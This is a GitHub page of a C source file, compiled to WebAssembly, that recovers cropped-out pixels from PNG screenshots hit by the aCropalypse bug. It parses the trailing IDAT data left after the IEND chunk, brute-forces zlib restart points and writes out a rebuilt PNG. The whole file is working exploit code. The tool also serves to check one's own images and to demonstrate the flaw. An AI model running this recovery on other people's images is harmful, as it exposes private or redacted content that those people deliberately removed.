-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathacropwasm.c
335 lines (257 loc) · 8.77 KB
/
acropwasm.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
#include <emscripten.h>
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include "zlib/zlib.h"
// Endian swap
#define SWAP32(x) __builtin_bswap32(x)
// Chunk type definitions
#define CHUNK_TYPE_IDAT 0x54414449
#define CHUNK_TYPE_IEND 0x444e4549
#define CHUNK_TYPE_IHDR 0x52444849
// zlib dictionary length
#define ZLIB_DICT_LENGTH 0x8000
// Bypasses compiler-specific struct alignment issues
#define PNG_HEADER_SIZE 0xd
// PNG magic bytes
const uint8_t png_magic[] = { 0x89, 'P', 'N', 'G', '\r', '\n', 0x1a, '\n' };
// PNG header struct
typedef struct
{
uint32_t width;
uint32_t height;
uint8_t bit_depth;
uint8_t colour;
uint8_t compression;
uint8_t filter;
uint8_t interlace;
} png_header_t;
// Parses a PNG chunk
void parse_chunk(uint8_t **buffer, uint32_t *chunk_length, uint32_t *chunk_type, uint8_t **chunk_data)
{
// Copy pointer
uint32_t *ptr32 = (uint32_t *)(*buffer);
// Read length, chunk type and find start of data (ignore CRC)
*chunk_length = SWAP32(ptr32[0]);
*chunk_type = ptr32[1];
*chunk_data = *buffer + (sizeof(uint32_t) * 2);
// Increment buffer
(*buffer) += (sizeof(uint32_t) * 3) + *chunk_length;
}
// Seeks until an IDAT chunk is found
int seek_idat_chunk(uint8_t **buffer, uint8_t *buffer_end)
{
for (; *buffer < buffer_end - sizeof(uint32_t); (*buffer)++)
{
if (*(uint32_t *)(*buffer) == CHUNK_TYPE_IDAT)
{
// Move back to start of chunk
*buffer -= sizeof(uint32_t);
return 1;
}
}
return 0;
}
// Writes an IDAT chunk
void write_idat_chunk(void *out, uint32_t chunk_length, uint32_t chunk_type, void *chunk_data)
{
uint32_t *ptr32 = (uint32_t *)out;
// Calculate checksum
uint32_t checksum = crc32(0, (uint8_t *)&chunk_type, sizeof(uint32_t));
if (chunk_length > 0)
checksum = crc32(checksum, chunk_data, chunk_length);
// Swap endianness of length
uint32_t chunk_length_be = SWAP32(chunk_length);
// Swap endianness of checksum
checksum = SWAP32(checksum);
// Write fields
*ptr32++ = chunk_length_be;
*ptr32++ = chunk_type;
if (chunk_length > 0)
{
memcpy(ptr32, chunk_data, chunk_length);
ptr32 = (uint32_t *)((uint8_t *)ptr32 + chunk_length);
}
*ptr32 = checksum;
}
// Recovers an image using the ACropalypse bug, returns int size/error
int EMSCRIPTEN_KEEPALIVE acropalypse_recover(uint8_t *in, uint32_t in_length, uint8_t *out, uint32_t width, uint32_t height)
{
// printf("in=0x%08x in_length=0x%08x out=0x%08x width=0x%08x height=0x%08x\n", in, in_length, out, width, height);
// Calculate image length
uint32_t image_length = ((width * 3) + 1) * height;
uint8_t *trailer = in + 8;
// Ensure correct magic
if (memcmp(in, png_magic, sizeof(png_magic)) != 0)
return -1;
// Find IEND chunk
for (;;)
{
uint8_t *chunk_data;
uint32_t chunk_length, chunk_type;
parse_chunk(&trailer, &chunk_length, &chunk_type, &chunk_data);
if (chunk_type == CHUNK_TYPE_IEND)
break;
}
// End of overwritten file
uint8_t *end = trailer;
// Seek to the next IDAT chunk
if (!seek_idat_chunk(&trailer, in + in_length))
return -2;
// Distance between end of overwritten file and next IDAT chunk
uint32_t distance = trailer - end - (sizeof(uint32_t) * 4);
// Allocate buffer for copying IDAT data into
uint8_t *idat = malloc(in_length);
// IDAT length
uint32_t idat_length = distance;
// Copy distance bytes to IDAT buffer
memcpy(idat, end + (sizeof(uint32_t) * 3), distance);
// Parse all remaining PNG chunks
for (;;)
{
uint8_t *chunk_data;
uint32_t chunk_length, chunk_type;
parse_chunk(&trailer, &chunk_length, &chunk_type, &chunk_data);
if (chunk_type == CHUNK_TYPE_IDAT)
{
// Append IDAT chunk
memcpy(idat + idat_length, chunk_data, chunk_length);
// Increment IDAT length
idat_length += chunk_length;
}
else if (chunk_type == CHUNK_TYPE_IEND) // Break out of loop when IEND chunk found
{
break;
}
else
{
free(idat);
return -3;
}
}
// Allocate bitstream
uint8_t *bitstream = calloc((idat_length * 8) + 7, 1);
// Build bitstream
for (uint32_t i = 0; i < idat_length * 8; i += 8)
{
for (uint8_t j = 0; j < 8; j++)
bitstream[i + j] = (idat[i / 8] >> j) & 1;
}
// De-allocate IDAT
free(idat);
// Build shifted bytestreams
uint8_t *shifted[8];
for (uint8_t i = 0; i < 8; i++)
{
// Allocate bytestream
shifted[i] = calloc(idat_length, 1);
// Build bytestream
for (uint32_t j = i; j < idat_length * 8; j += 8)
{
for (uint8_t k = 0; k < 8; k++)
shifted[i][j / 8] |= bitstream[j + k] << k;
}
}
// De-allocate bitstream
free(bitstream);
// Build lookback data for decompressor
uint8_t lookback[ZLIB_DICT_LENGTH + 5];
// Header
lookback[0] = 0;
lookback[1] = 0;
lookback[2] = 0x80;
lookback[3] = 0xff;
lookback[4] = 0x7f;
// Set the rest of the buffer to 'X'
memset(lookback + 5, 'X', ZLIB_DICT_LENGTH);
// Allocate buffer for decompressed image
uint8_t *decompressed = malloc(image_length);
// Create decompressors
z_stream z, zz;
// Initialise decompressor
z.zalloc = Z_NULL;
z.zfree = Z_NULL;
z.opaque = Z_NULL;
inflateInit2(&z, -15);
// Decompress lookback data
z.next_in = lookback;
z.avail_in = sizeof(lookback);
z.next_out = decompressed;
z.avail_out = image_length;
inflate(&z, Z_FINISH);
// Status for decompression
int status;
for (uint32_t i = 0; i < idat_length; i++)
{
// Continue if not huffman block
if ((shifted[i % 8][i / 8] & 7) != 0b100)
continue;
// Create copy of decompression state
inflateCopy(&zz, &z);
// Decompress data
zz.next_in = shifted[i % 8] + (i / 8);
zz.avail_in = idat_length;
zz.next_out = decompressed;
// Continue attempting to decompress until Z_STREAM_END status reached
if ((status = inflate(&zz, Z_FINISH)) == Z_STREAM_END)
break;
}
// De-initialise decompressor
inflateEnd(&z);
// De-initialise shifted bytestreams
for (uint8_t i = 0; i < 8; i++)
free(shifted[i]);
// Check if unable to decompress image data
if (status != Z_STREAM_END)
{
free(decompressed);
return -4;
}
// Create PNG header
png_header_t header;
// Fill fields
header.width = SWAP32(width);
header.height = SWAP32(height);
header.bit_depth = 8;
header.colour = 2;
header.compression = 0;
header.filter = 0;
header.interlace = 0;
// Write PNG magic
memcpy(out, png_magic, sizeof(png_magic));
// Write header
write_idat_chunk(out + sizeof(png_magic), PNG_HEADER_SIZE, CHUNK_TYPE_IHDR, &header);
// Create image data
uint8_t *image_data = calloc(image_length, 1);
// Copy all image data we were able to decompress
memcpy(image_data + image_length - zz.total_out + ZLIB_DICT_LENGTH,
decompressed,
zz.total_out - ZLIB_DICT_LENGTH);
// Fix filter bytes
for (uint32_t i = 0; i < image_length; i += (width * 3) + 1)
{
if (image_data[i] == 'X')
image_data[i] = 0;
}
// De-allocate decompressed data
free(decompressed);
// Re-compress image data
uint8_t *compressed_data = malloc(image_length);
uLongf compressed_length = image_length;
compress(compressed_data, &compressed_length, image_data, image_length);
// De-allocate image data
free(image_data);
// Write IDAT chunk
write_idat_chunk(out + sizeof(png_magic) + PNG_HEADER_SIZE +
(sizeof(uint32_t) * 3),
compressed_length, CHUNK_TYPE_IDAT, compressed_data);
// Write IEND chunk
write_idat_chunk(out + sizeof(png_magic) + PNG_HEADER_SIZE +
(sizeof(uint32_t) * 6) + compressed_length,
0, CHUNK_TYPE_IEND, NULL);
// De-allocate data
free(compressed_data);
// File size
return sizeof(png_magic) + PNG_HEADER_SIZE + (sizeof(uint32_t) * 9) + compressed_length;
}